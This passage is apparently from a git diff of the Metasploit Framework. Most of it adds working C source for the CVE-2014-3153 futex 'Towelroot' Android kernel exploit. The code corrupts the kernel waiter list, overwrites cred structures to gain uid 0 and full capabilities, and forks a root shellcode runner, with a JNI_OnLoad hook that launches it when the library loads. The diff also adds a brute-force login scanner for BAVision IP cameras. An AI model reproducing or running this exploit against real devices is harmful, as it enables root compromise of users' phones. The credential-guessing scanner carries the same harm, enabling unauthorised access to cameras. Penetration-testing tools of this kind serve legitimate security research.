at the beginning of the list so we can leak it + LOGD("[LEAKER] Adding waiter with prio 3 as leaker\n"); + setpriority(PRIO_PROCESS, 0, 4); + LOGD("[LEAKER] PID %d TID %d\n", getpid(), gettid()); + + syscall(__NR_futex, &lock2, FUTEX_LOCK_PI, 1, 0, NULL, 0); + + // If we are here the stack modifier has been killed + + LOGD("[LEAKER] Leaker unlocked and exiting %d\n", gettid()); + + // Tell to the second evil thread that it can fix the waiter list now + pthread_mutex_lock(&done_kill_lock); + pthread_cond_signal(&done_kill); + pthread_mutex_unlock(&done_kill_lock); + + sleep(5); + return; + + } + + ////////////////////////////////////////// + // From here we are the second evil thread + LOGD("[SECOND KERNEL HACK] Waiting to be powered!\n"); + pthread_mutex_lock(is_kernel_writing); + + sleep(2); + + LOGD("[SECOND KERNEL HACK] Dumping thread_info...\n"); + read_pipe((void *)final_kstack_base, thread_info_dump, 0x10); // Read the thread_info struct... + read_pipe((void *)(thread_info_dump[3]), task_struct_dump, 0x800); // end get the task_struct dump + + LOGD("[SECOND KERNEL HACK] task_struct at %x\n", (unsigned int) thread_info_dump[3]); + + val1 = 0; + val2 = 0; + pid = 0; + + LOGD("[SECOND KERNEL HACK] Parsing thread_info for cred...\n"); + // Parse the task_struct dump in order to find the cred struct pointer + // If we have four succesive kernel pointer -> we have the cred struct + for (i = 0; i < 0x200; i++) { + if (task_struct_dump[i] == task_struct_dump[i + 1]) { + if (task_struct_dump[i] > 0xc0000000) { + if (task_struct_dump[i + 2] == task_struct_dump[i + 3]) { + if (task_struct_dump[i + 2] > 0xc0000000) { + if (task_struct_dump[i + 4] == task_struct_dump[i + 5]) { + if (task_struct_dump[i + 4] > 0xc0000000) { + if (task_struct_dump[i + 6] == task_struct_dump[i + 7]) { + if (task_struct_dump[i + 6] > 0xc0000000) { + val1 = task_struct_dump[i + 7]; // Found offset for the cred struct + LOGD("[SECOND KERNEL HACK] %x %d: cred struct pointer FOUND!\n", (unsigned int) val1, (i+7)); + break; + } + } + } + } + } + } + } + } + } + + if(!val1) { + LOGD("[SECOND KERNEL HACK] cred pointer NOT FOUND. Aborting...\n"); + stop_for_error(); + } + + LOGD("[SECOND KERNEL HACK] reading cred struct for group_info\n"); + // Update the cred struct + read_pipe((void *)val1, cred_struct_dump, 0x100); + memcpy((void *)cred_struct_dump_orig, (void *)cred_struct_dump, 0x100); // Save the original struct + + val2 = cred_struct_dump[0x16]; // group_info struct + if (val2 > 0xc0000000) { + if (val2 < 0xffff0000) { + read_pipe((void *)val2, group_info_struct_dump, 0x18); // group_info struct dump + memcpy((void *)group_info_struct_dump_orig, (void *)group_info_struct_dump, 0x18); + if (group_info_struct_dump[0] != 0) { + if (group_info_struct_dump[1] != 0) { + if (group_info_struct_dump[2] == 0) { + if (group_info_struct_dump[3] == 0) { + if (group_info_struct_dump[4] == 0) { + if (group_info_struct_dump[5] == 0) { + group_info_struct_dump[0] = 1; // atomic_t usage + group_info_struct_dump[1] = 1; // int ngroups + + // Update the group_info struct in the kernel + LOGD("[SECOND KERNEL HACK] Updating group_info struct...\n"); + write_pipe((void *)val2, group_info_struct_dump, 0x18); + } + } + } + } + } + } + } + } + + // Update the cred struct + cred_struct_dump[1] = 0; // uid + cred_struct_dump[2] = 0; // gid + cred_struct_dump[3] = 0; // suid + cred_struct_dump[4] = 0; // sgid + cred_struct_dump[5] = 0; // euid + cred_struct_dump[6] = 0; // egid + cred_struct_dump[7] = 0; // fsuid + cred_struct_dump[8] = 0; // fsgid + + cred_struct_dump[10] = 0xffffffff; // cap_inheritable + cred_struct_dump[11] = 0xffffffff; // cap_permitted + cred_struct_dump[12] = 0xffffffff; // cap_effective + cred_struct_dump[13] = 0xffffffff; // cap_bset + cred_struct_dump[14] = 0xffffffff; // jit_keyring + cred_struct_dump[15] = 0xffffffff; // *session_keyring + cred_struct_dump[16] = 0xffffffff; // *process_keyring + cred_struct_dump[17] = 0xffffffff; // *thread_keyring; + + + LOGD("[SECOND KERNEL HACK] Updating cred struct in the kernel...\n"); + + // Update the cred struct in the kernel + write_pipe((void *)val1, cred_struct_dump, 0x48); + + sleep(2); + + pid = syscall(__NR_gettid); + + // Update the pid + LOGD("[SECOND KERNEL HACK] Looking for PID..\n"); + i = 0; + while (1) { + if (task_struct_dump[i] == pid) { + LOGD("[SECOND KERNEL HACK] PID found. Update and hack....\n"); + + write_pipe((void *)(thread_info_dump[3] + (i << 2)), (void *)str_1, 4); + + if (getuid() != 0) { + LOGD("[SECOND KERNEL HACK] Something wrong. Root failed. Aborting...\n"); + send_pipe_msg(ERROR); + } else { + LOGD("[SECOND KERNEL HACK] Root process succeded!!!\n"); + + //////////// ROOT CODE HERE ///////////////// + + // Fork and install the root shell + if(fork() == 0) { + LOGD("running as pid %d, tid %d, with uid %d", getpid(), gettid(), getuid()); + run_shellcode_as_root(); + exit(0); + } + + ////////////////////////////////////////////// + sleep(3); + close(sockfd); + send_pipe_msg(ROOT_SUCCESS); + break; + } + } + i++; + } + + // Fix cred_struct and group_info_struct with originals + //sleep(3); // be sure nothing is happening before to fix + LOGD("[SECOND KERNEL HACK] Fixing cred struct\n"); + write_pipe((void *)val1, cred_struct_dump_orig, 0x48); + sleep(2); + LOGD("[SECOND KERNEL HACK] Fixing group info\n"); + write_pipe((void *)val2, group_info_struct_dump_orig, 0x18); + sleep(2); + + // To fix the waiter list we need to know where is the beginning of the list (we hacked it). + // To do that we use the leaker thread that has a waiter with prio 3 + + LOGD("[SECOND KERNEL HACK] I have %x as thread_info leaker!!!\n", (unsigned int) leaker_kstack_base); + LOGD("[SECOND KERNEL HACK] Dumping thread_info...\n"); + read_pipe((void *)leaker_kstack_base, thread_info_dump, 0x10); // Read the thread_info struct... + read_pipe((void *)(thread_info_dump[3]), task_struct_dump, 0x800); // end get the task_struct dump + + LOGD("[SECOND KERNEL HACK] leaker task_struct at %x\n", (unsigned int) thread_info_dump[3]); + + int k = 0; + val1 = 0; + val2 = 0; + pid = 0; + + // Find the waiter in the task struct. We know is a bit after the cred_struct + + LOGD("[SECOND KERNEL HACK] Parsing leaker thread_info for cred...\n"); + // Parse the task_struct dump in order to find the cred struct pointer + // If we have four succesive kernel pointer -> we have the cred struct + + for (i = 0; i < 0x200; i++) { + if (task_struct_dump[i] == task_struct_dump[i + 1]) { + if (task_struct_dump[i] > 0xc0000000) { + if (task_struct_dump[i + 2] == task_struct_dump[i + 3]) { + if (task_struct_dump[i + 2] > 0xc0000000) { + if (task_struct_dump[i + 4] == task_struct_dump[i + 5]) { + if (task_struct_dump[i + 4] > 0xc0000000) { + if (task_struct_dump[i + 6] == task_struct_dump[i + 7]) { + if (task_struct_dump[i + 6] > 0xc0000000) { + LOGD("[SECOND KERNEL HACK] We are at cred\n"); + + // We need to find the waiter in the task_struct + + for(k = 0; k<100; k++) { + if(task_struct_dump[k + i] > 0xc0000000 && task_struct_dump[k + i] != 0xffffffff) { + read_pipe((void *) task_struct_dump[k + i], &val1, 4); + // Check a pointer pointing to 0x7b (123 = prio 3) + //if(val1 == 0x7b) { + if(val1 == 0x7c) { + target_waiter = (unsigned int) task_struct_dump[k + i]; + LOGD("Found target_waiter %d %x\n", k + i, (unsigned int) target_waiter); + sleep(2); + break; + } + } + } + break; + } + } + } + } + } + } + } + } + } + + if(!target_waiter) + stop_for_error(); + + // Get the next node, so the prio 6 node + LOGD("[SECOND KERNEL HACK] Waiting the thread\n"); + + pthread_mutex_lock(&done_kill_lock); + + // Ok now we need to remove + int h; + for(h = 0; h < remove_counter; h++) + remove_remaining_waiter(h); + + if(fix_kernel_waiter_list(target_waiter) == 0) + send_pipe_msg(FIX_SUCCESS); + else + stop_for_error(); + + + LOGD("[SECOND KERNEL HACK] Waiter list fixed\n"); + + // Kill the stack modifier + kill(stack_modifier_tid,14); + + // Wait for the prio 4 node going out + pthread_cond_wait(&done_kill, &done_kill_lock); + + LOGD("[SECOND KERNEL HACK] Prio 4 exiting, going to fix the waiter list\n"); + + // We fixed everything, so we can leave now + pthread_exit(NULL); + +} + + +/***************************/ +/**** THREAD FOR WAITERS ***/ +/***************************/ + +void thread_killer(int signum) { + + LOGD("[KILLER] Thread with pid %d and tid %d is going to exit\n", getpid(), gettid()); + + pthread_mutex_lock(&is_thread_awake_lock); + pthread_cond_signal(&is_thread_awake); + pthread_mutex_unlock(&is_thread_awake_lock); + + pthread_exit(NULL); + +} + + +// Add a new waiter in the list with a specific prio. +void *make_action_adding_waiter(void *arg) { + int prio; + struct sigaction act; + struct sigaction act3; + int ret; + + prio = (int)arg; + last_tid = syscall(__NR_gettid); + + pthread_mutex_lock(&is_thread_desched_lock); + pthread_cond_signal(&is_thread_desched); + + // Handler to hack in the kernel. + act.sa_handler = hack_the_kernel; + sigemptyset(&act.sa_mask); + act.sa_flags = 0; + act.sa_restorer = NULL; + sigaction(12, &act, NULL); + + // Handler to kill useless threads. + act3.sa_handler = thread_killer; + sigemptyset(&act3.sa_mask); + act3.sa_flags = 0; + act3.sa_restorer = NULL; + sigaction(14, &act3, NULL); + + setpriority(PRIO_PROCESS, 0, prio); + + pthread_mutex_unlock(&is_thread_desched_lock); + + LOGD("[MAKE ACTION] Adding lock with prio %d and tid %d\n", prio, gettid()); + ret = syscall(__NR_futex, &lock2, FUTEX_LOCK_PI, 1, 0, NULL, 0); + LOGD("[MAKE ACTION] Lock with prio %d and tid %d returned\n", prio, gettid()); + + // The firs node that will exit. Kill some other thread + if(prio == 11) { + LOGD("[MAKE ACTION] Killing prio 11\n"); + + pthread_mutex_lock(&is_thread_awake_lock); + kill(tid_11, 14); + pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock); + pthread_mutex_unlock(&is_thread_awake_lock); + + LOGD("[MAKE ACTION] Killing prio 7\n"); + + pthread_mutex_lock(&is_thread_awake_lock); + kill(pid7, 14); + pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock); + pthread_mutex_unlock(&is_thread_awake_lock); + + LOGD("[MAKE ACTION] All done!\n"); + sleep(1); + + pthread_exit(NULL); + + } + + // Last node will exit + if(prio == 6) { + LOGD("[MAKE ACTION] Prio 6 node is exiting\n"); + + // Notify the main that we finished + pthread_mutex_lock(&done_lock); + pthread_cond_signal(&done); + pthread_mutex_unlock(&done_lock); + + pthread_exit(NULL); + } + + // Never reached + return NULL; +} + + + +// Create a new thread to add a new waiter with a prio +pid_t wake_actionthread(int prio) { + pthread_t th4; + pid_t pid; + + LOGD("[WAKE_ACTIONTHREAD] Starting actionthread\n"); + + // Create the thread that will add a new lock. + + pthread_mutex_lock(&is_thread_desched_lock); + pthread_create(&th4, 0, make_action_adding_waiter, (void *)prio); + pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock); + + LOGD("[WAKE_ACTIONTHREAD] Continuing actionthread\n"); + + pid = last_tid; + + // Needed to be sure that the new thread is waiting to acquire the lock + sleep(1); + + pthread_mutex_unlock(&is_thread_desched_lock); + + // Return the new thread created + return pid; +} + + + +// This is the first evil thread. +// When the vuln is triggered will use a syscall to modify the kernel stack. +void *stack_modifier(void *name) +{ + + pthread_t l8; + int sockfd, ret; + struct mmsghdr msgvec[1]; + struct iovec msg_iov[8]; + unsigned long databuf[0x20]; + int i; + char line[20]; + struct sigaction act3; + + stack_modifier_tid = gettid(); + + LOGD("[STACK MODIFIER] Modifier started with tid %d\n", gettid()); + + setpriority(PRIO_PROCESS , 0, 12); + + // Register an handle for a signal. We will use it to kill this thread later. + act3.sa_handler = thread_killer; + sigemptyset(&act3.sa_mask); + act3.sa_flags = 0; + act3.sa_restorer = NULL; + sigaction(14, &act3, NULL); + + + for (i = 0; i < 0x20; i++) { + databuf[i] = hacked_node; + } + + for (i = 0; i <= 8; i++) { + msg_iov[i].iov_base = (void *)hacked_node; + msg_iov[i].iov_len = 0x80; + } + + //msg_iov[IOVSTACK_TARGET] will be our new waiter. + // iov_len must be large enough to fill the socket kernel buffer to avoid the sendmmsg to return. + + msg_iov[config_iovstack].iov_base = (void *)hacked_node; + msg_iov[config_iovstack].iov_len = hacked_node_alt; + + // The new waiter will be something like that: + // prio = hacket_node + // prio_list->next = hacked_node_alt + // prio_list->prev = hacket_node + // node_list->next = 0x7d + // node_list->prev = hacked_node + + // hacked_node will be somethin < 0 so a negative priority + + msgvec[0].msg_hdr.msg_name = databuf; + msgvec[0].msg_hdr.msg_namelen = 0x80; + msgvec[0].msg_hdr.msg_iov = msg_iov; + msgvec[0].msg_hdr.msg_iovlen = 8; + msgvec[0].msg_hdr.msg_control = databuf; + msgvec[0].msg_hdr.msg_controllen = 0x20; + msgvec[0].msg_hdr.msg_flags = 0; + msgvec[0].msg_len = 0; + + sockfd = make_socket(); + if (sockfd == 0) { + return NULL; + } + + LOGD("[STACK MODIFIER] Going in WAIT_REQUEUE\n"); + + // Lets wait on lock1 to be requeued + syscall(__NR_futex, &lock1, FUTEX_WAIT_REQUEUE_PI, 0, 0, &lock2, 0); + + // Ok, at this point the vulnerability shoud be triggered. + // We can modify the waiters list in the kernel. + + LOGD("[STACK MODIFIER] Exiting from WAIT_REQUEUE\n"); + LOGD("[STACK MODIFIER] I'm going to modify the kernel stack\n"); + + // Use now a syscall deep to modify the waiter list. + // sendmmsg -> sendmesg -> verify_iovec + // verify_iovec will fille the iovstack structure of sendmesg and we know that + // iovstack[IOVSTACK_TARGET] is at the same address of the waiter we can manipulate + + while (1) { + ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0); + if (ret <= 0) { + LOGD("[STACK MODIFIER] Sendmmsg Error\n"); + send_pipe_msg(ERROR); + } + LOGD("[STACK MODIFIER] Done\n"); + break; + } + LOGD("[STACK MODIFIER] Leaving\n"); + + return NULL; +} + + +void create_hacked_list(unsigned long hacked_node, unsigned long hacked_node_alt) { + + *((unsigned long *)(hacked_node_alt - 4)) = 0x81; // prio (120 + 9) + *((unsigned long *) hacked_node_alt) = hacked_node_alt + 0x20; // prio_list->next + *((unsigned long *)(hacked_node_alt + 8)) = hacked_node_alt + 0x28; // node_list->next + + *((unsigned long *)(hacked_node_alt + 0x1c)) = 0x85; // prio (120 + 13) + *((unsigned long *)(hacked_node_alt + 0x24)) = hacked_node_alt; // prio_list->prev + *((unsigned long *)(hacked_node_alt + 0x2c)) = hacked_node_alt + 8; // node_list->prev + + // Alternative list + + *((unsigned long *)(hacked_node - 4)) = 0x81; + *((unsigned long *) hacked_node) = hacked_node + 0x20; + *((unsigned long *)(hacked_node + 8)) = hacked_node + 0x28; + + *((unsigned long *)(hacked_node + 0x1c)) = 0x85; + *((unsigned long *)(hacked_node + 0x24)) = hacked_node; + *((unsigned long *)(hacked_node + 0x2c)) = hacked_node + 8; + +} + +void reset_hacked_list(unsigned long hacked_node) { + + *((unsigned long *)(hacked_node - 4)) = 0x81; + *((unsigned long *) hacked_node) = hacked_node + 0x20; + *((unsigned long *)(hacked_node + 8)) = hacked_node + 0x28; + + *((unsigned long *)(hacked_node + 0x1c)) = 0x85; + *((unsigned long *)(hacked_node + 0x24)) = hacked_node; + *((unsigned long *)(hacked_node + 0x2c)) = hacked_node + 8; + +} + + +void *trigger(void *arg) { + int ret; + unsigned long readval; + pid_t pid; + int i, k; + char buf[0x1000]; + int tid_counter = 0; + unsigned int addr, setaddr; + + setpriority(PRIO_PROCESS, 0, 5); + + LOGD("[TRIGGER] Trigger pid %x\n", gettid()); + + // Acquire lock2 so when the thread will be requeued from lock1 to lock2 will be put in the queue + syscall(__NR_futex, &lock2, FUTEX_LOCK_PI, 1, 0, NULL, 0); + + // Now requeue the stack_modifier thread from lock1 to lock2 + while (1) { + ret = syscall(__NR_futex, &lock1, FUTEX_CMP_REQUEUE_PI, 1, 0, &lock2, lock1); + if (ret == 1) { + LOGD("[TRIGGER] Stack modifier requeued\n"); + break; + } + usleep(10); + } + + // Add a couple of waiters in the vulnerable kernel list + + wake_actionthread(3); + pid6 = wake_actionthread(6); + pid7 = wake_actionthread(7); + + // Now lock2 has this wait list: |6|<->|7|<->|12| + + lock2 = 0; + + // Trigger the vulnerability: requeue the stack modifier from lock2 to lock2 + syscall(__NR_futex, &lock2, FUTEX_CMP_REQUEUE_PI, 1, 0, &lock2, lock2); + + // If everything went as expected at this point the stack modifier is going tu use a syscall to modify + // the wait list for lock2 + + // Be sure he finished + sleep(2); + + // Now the new wait_list for lock2 should be: |6|<->|7|<->|-1..|<->hacked_list + + // We can now start the list manipulation creating new node controlled by us + // We build two chain: hacked_node and hacked_node_alt + // Sometime the alignament of iovstack could be different so prio_list->next and prio_list->prev + // could be switched. + + create_hacked_list(hacked_node, hacked_node_alt); + + // Now the new wait_list for lock2 should be: |6|<->|7|<->|-1..|<->|9|<->|13| + // with waiters with prio 9 and 13 in our userspace + + // Lets do something of interesting. Add a waiter and check wich list we are using. + + readval = *((unsigned long *)hacked_node); + tid_11 = wake_actionthread(11); + + if (*((unsigned long *)hacked_node) == readval) { + LOGD("[TRIGGER] Using hacked_node_alt.\n"); + hacked_node = hacked_node_alt; + } + + // Is it patched? + if (*((unsigned long *)hacked_node) == readval) { + LOGD("[TRIGGER] Device seems to be patched.\n"); + send_pipe_msg(ERROR); + return 0; + } + + // Save the waiter address + t11 = *((unsigned long *)hacked_node); + + // Try to find a thred we can hack + for(k=0; k<20; k++) { + + is_kernel_writing = (pthread_mutex_t *)malloc(4); + pthread_mutex_init(is_kernel_writing, NULL); + + // Reset the hacked list + reset_hacked_list(hacked_node); + + // Leak a kernel stack pointer (a new created waiter) + pid = wake_actionthread(11); + + // Now we have the pointer of a waiter allocated on the stack. We can calculate the + // thread_info struct in the kernel for that last called thread + first_kstack_base = leaker_kstack_base = *((unsigned long *)hacked_node) & 0xffffe000; + + LOGD("[TRIGGER] Send a signal to the first evil thread\n"); + pthread_mutex_lock(&is_thread_awake_lock); + + kill(pid, 12); + + pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock); + pthread_mutex_unlock(&is_thread_awake_lock); + LOGD("[TRIGGER] First evil thread is now waiting\n"); + + sleep(1); + + LOGD("[TRIGGER] First kernel stack base found at 0x%x\n", (unsigned int) first_kstack_base); + + // Samsung exploitation + if(config_new_samsung) { + LOGD("[TRIGGER] Starting samsung...\n"); + addr = (unsigned long)mmap((unsigned long *)0xbef000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); + + LOGD("[TRIGGER] mmap done\n"); + if (addr != 0xbef000) { + continue; + } + + reset_hacked_list(0xbeffe0); + reset_hacked_list(hacked_node); + + *((unsigned long *)0xbf0004) = first_kstack_base + config_offset + 1; + *((unsigned long *)hacked_node) = 0xbf0000; + + // Keep trace of the pending waiters + remove_pid[remove_counter] = wake_actionthread(10); + + readval = *((unsigned long *)0x00bf0004); + + remove_waiter[remove_counter] = readval; + remove_counter++; + + munmap((unsigned long *)0xbef000, 0x2000); + + LOGD("[TRIGGER] First step done: %lx\n", readval); + + readval <<= 8; + if (readval < KERNEL_START) { + setaddr = (readval - 0x1000) & 0xfffff000; + addr = (unsigned long)mmap((unsigned long *)setaddr, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); + + if (addr != setaddr) { + continue; + } + + reset_hacked_list(readval - 0x20); + *((unsigned long *)(readval + 4)) = first_kstack_base + config_offset; + *((unsigned long *)hacked_node) = readval; + + remove_pid[remove_counter] = wake_actionthread(10); + + readval = *((unsigned long *)(readval + 4)); + // Save the waiter address + remove_waiter[remove_counter] = readval; + remove_counter++; + + munmap((unsigned long *)setaddr, 0x2000); + + LOGD("[TRIGGER] Samsung done: %lx\n", readval); + } + } + else { + reset_hacked_list(hacked_node); + + // Use the prev pointer to execute a write in kernel space (the thread addr_limit) + *((unsigned long *)(hacked_node + 0x24)) = first_kstack_base + 8; + + tid_12 = wake_actionthread(12); // Will be in the user space hacked list + + readval = *((unsigned long *)(hacked_node + 0x24)); + LOGD("[TRIGGER] New first stack limit 0x%x\n", (unsigned int)readval); + + remove_pid[remove_counter] = tid_12; + remove_waiter[remove_counter] = readval; + remove_counter++; + } + + // At this point we have a thread with an addr_limit = readval waiting to write something to us. + // Try to create a new thread to be modified by the first one + for(i = 0; i < loop_limit; i++) { + reset_hacked_list(hacked_node); + pid = wake_actionthread(10); // Will be in the user space hacked list + + LOGD("[TRIGGER] Found value 0x%x with tid %d\n", (unsigned int) *((unsigned long *)hacked_node), pid); + // Be sure the first can modify the second one + if (*((unsigned long *)hacked_node) < readval) { + +#ifdef DEBUG + for(k = 0; k < remove_counter; k++) { + LOGD("[TRIGGER] Remove tid %d with waiter %x\n", remove_pid[k], (unsigned int) remove_waiter[k]); + } +#endif + + final_kstack_base = *((unsigned long *)hacked_node) & 0xffffe000; + LOGD("[TRIGGER] Found a good thread to hack: 0x%x\n", (unsigned int) final_kstack_base); + LOGD("[TRIGGER] Current hacked_node %x\n", (unsigned int) hacked_node); + + pthread_mutex_lock(&is_thread_awake_lock); + + kill(pid, 12); + + pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock); + pthread_mutex_unlock(&is_thread_awake_lock); + + sleep(2); + + reset_hacked_list(hacked_node); + // Now we have a thread waiting to write something in the second thread. + // The second thread is waiting to receive a signal by the first one + + // Tell the first thread to hack the second one + write(HACKS_fdm, buf, 0x1000); + + while (1) { + sleep(10); + } + } + if(config_force_remove) { + // Trace the pending waiters + remove_pid[remove_counter] = pid; + remove_waiter[remove_counter] = *((unsigned long *)hacked_node); + remove_counter++; + } + } + } + stop_for_error(); + return NULL; +} + + +int waiter_exploit() { + + pthread_t l1, l2, l3; + + LOGV("uid %d\n", getuid()); + + if (config_buf[0] == 'c') { + LOGV("no config supplied %s\n", config_buf); + return 1; + } + + config_new_samsung = *(int*)&config_buf[0]; + config_iovstack = *(int*)&config_buf[4]; + config_offset = *(int*)&config_buf[8]; + config_force_remove = *(int*)&config_buf[12]; + + pipe(pipe_fd); + + pid_t pipe_pid = fork(); + if(pipe_pid != 0) { + int pipe_server_ret = start_pipe_server(); + + int status; + waitpid(pipe_pid, &status, 0); + return pipe_server_ret; + } + + sleep(2); + close(pipe_fd[0]); + + // First we create two possible hacked list of waiters. + + addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); + addr += 0x800; + hacked_node = addr; + if ((long)addr >= 0) { + LOGD("[TOWEL] first mmap failed?\n"); + send_pipe_msg(ERROR); + return 1; + } + + addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); + addr += 0x800; + hacked_node_alt = addr; + if (addr > 0x110000) { + LOGD("[TOWEL] second mmap failed?\n"); + send_pipe_msg(ERROR); + return 1; + } + + // Start the socket server we will use to hook inside the sendmmsg syscall + + LOGD("[TOWEL] Creating socket\n"); + pthread_create(&l1, NULL, accept_socket, NULL); + + sleep(1); + + LOGD("[TOWEL] Starting exploitation\n"); + + pthread_mutex_lock(&done_lock); + pthread_create(&l2, NULL, stack_modifier, NULL); + pthread_create(&l3, NULL, trigger, NULL); + pthread_cond_wait(&done, &done_lock); + + LOGD("[TOWEL] All Done, exiting PID %d\n", getpid()); + send_pipe_msg(ALL_DONE); + sleep(1); + + return 0; +} + diff --git a/external/source/exploits/CVE-2014-3153/log.h b/external/source/exploits/CVE-2014-3153/log.h new file mode 100644 index 0000000000..48144c6642 --- /dev/null +++ b/external/source/exploits/CVE-2014-3153/log.h @@ -0,0 +1,11 @@ +//#define DEBUG + +#ifdef DEBUG +#include +#define LOGV(...) __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout) +#define LOGD(...) __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout) +#else +#define LOGV(...) +#define LOGD(...) +#endif + diff --git a/external/source/exploits/CVE-2014-3153/main.c b/external/source/exploits/CVE-2014-3153/main.c new file mode 100644 index 0000000000..41797c8849 --- /dev/null +++ b/external/source/exploits/CVE-2014-3153/main.c @@ -0,0 +1,63 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "log.h" + +extern int waiter_exploit(); +extern int config_new_samsung; +extern int config_iovstack; +extern int config_offset; +extern int config_force_remove; + +void init_exploit() { + + LOGV("[+]
parent pid = %d", getpid()); + + int retval = waiter_exploit(); + + LOGV("Exploit result %d\n", retval); +} + + +int main(int argc, char **argv) { + + if (argc > 4) { + config_new_samsung = atoi(argv[1]); + config_iovstack = atoi(argv[2]); + config_offset = atoi(argv[3]); + config_force_remove = atoi(argv[4]); + } + + init_exploit(); + + exit(EXIT_SUCCESS); +} + +JNIEXPORT jint JNICALL JNI_OnLoad( JavaVM *vm, void *pvt ) +{ + JNIEnv *env; + LOGV("onload, uid=%d\n", getuid()); + + if((*vm)->GetEnv(vm, (void **)&env, JNI_VERSION_1_4) != JNI_OK) + { + return -1; + } + + int pid = fork(); + if (pid == 0) { + init_exploit(); + } + return JNI_VERSION_1_4; +} + +JNIEXPORT void JNICALL JNI_OnUnload( JavaVM *vm, void *pvt ) +{ +} diff --git a/features/commands/help.feature b/features/commands/help.feature index 1ade6c252f..f842dd8272 100644 --- a/features/commands/help.feature +++ b/features/commands/help.feature @@ -46,7 +46,7 @@ Feature: Help command ------- ----------- advanced Displays advanced options for one or more modules back Move back from the current context - edit Edit the current module with $VISUAL or $EDITOR + edit Edit the current module with the preferred editor info Displays information about one or more modules loadpath Searches for and loads modules from a path options Displays global options or for one or more modules diff --git a/lib/metasploit/framework/login_scanner/bavision_cameras.rb b/lib/metasploit/framework/login_scanner/bavision_cameras.rb new file mode 100644 index 0000000000..fe0e257e15 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/bavision_cameras.rb @@ -0,0 +1,119 @@ +require 'metasploit/framework/login_scanner/http' +require 'digest' + +module Metasploit + module Framework + module LoginScanner + + class BavisionCameras < HTTP + + DEFAULT_PORT = 80 + PRIVATE_TYPES = [ :password ] + LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name + + + # Checks if the target is BAVision Camera's web server. The login module should call this. + # + # @return [Boolean] TrueClass if target is SWG, otherwise FalseClass + def check_setup + login_uri = normalize_uri("#{uri}") + res = send_request({'uri'=> login_uri}) + + if res && res.headers['WWW-Authenticate'].match(/realm="IPCamera Login"/) + return true + end + + false + end + + + # Auth to the server using digest auth + def try_digest_auth(cred) + login_uri = normalize_uri("#{uri}") + res = send_request({ + 'uri' => login_uri, + 'credential' => cred, + 'DigestAuthIIS' => false, + 'headers' => {'Accept'=> '*/*'} + }) + + digest = digest_auth(cred.public, cred.private, res.headers) + + res = send_request({ + 'uri' => login_uri, + 'headers' => { + 'Authorization' => digest + }}) + + if res && res.code == 200 && res.body =~ /hy\-cgi\/user\.cgi/ + return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.body} + end + + {:status => LOGIN_STATUS::INCORRECT, :proof => res.body} + end + + # The Rex HTTP Digest auth is making the camera server to refuse to respond for some reason. + # The API also fails to generate the CNONCE parameter (bug), which makes it unsuitable for + # our needs, therefore we have our own implementation of digest auth. + def digest_auth(user, password, response) + nonce_count = 1 + cnonce = Digest::MD5.hexdigest("%x" % (Time.now.to_i + rand(65535))) + + response['www-authenticate'] =~ /^(\w+) (.*)/ + + params = {} + $2.gsub(/(\w+)="(.*?)"/) { params[$1] = $2 } + + a_1 = "#{user}:#{params['realm']}:#{password}" + a_2 = "GET:#{uri}" + request_digest = '' + request_digest << Digest::MD5.hexdigest(a_1) + request_digest << ':' << params['nonce'] + request_digest << ':' << ('%08x' % nonce_count) + request_digest << ':' << cnonce + request_digest << ':' << params['qop'] + request_digest << ':' << Digest::MD5.hexdigest(a_2) + + header = [] + header << "Digest username=\"#{user}\"" + header << "realm=\"#{params['realm']}\"" + header << "qop=#{params['qop']}" + header << "uri=\"/\"" + header << "nonce=\"#{params['nonce']}\"" + header << "nc=#{'%08x' % nonce_count}" + header << "cnonce=\"#{cnonce}\"" + header << "response=\"#{Digest::MD5.hexdigest(request_digest)}\"" + + header * ', ' + end + + + # Attempts to login to the camera. This is called first. + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Result] A Result object indicating success or failure + def attempt_login(credential) + result_opts = { + credential: credential, + status: Metasploit::Model::Login::Status::INCORRECT, + proof: nil, + host: host, + port: port, + protocol: 'tcp' + } + + begin + result_opts.merge!(try_digest_auth(credential)) + rescue ::Rex::ConnectionError => e + # Something went wrong during login. 'e' knows what's up. + result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message) + end + + Result.new(result_opts) + end + + end + end + end +end + diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 1d3a62fc09..4def121792 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.13.11" + VERSION = "4.13.16" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index b3a5df837b..4a89ca1c2b 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -407,7 +407,23 @@ class ReadableText next if (opt.evasion?) next if (missing && opt.valid?(val)) - tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ] + desc = opt.desc.dup + + # Hint at RPORT proto by regexing mixins + if name == 'RPORT' && 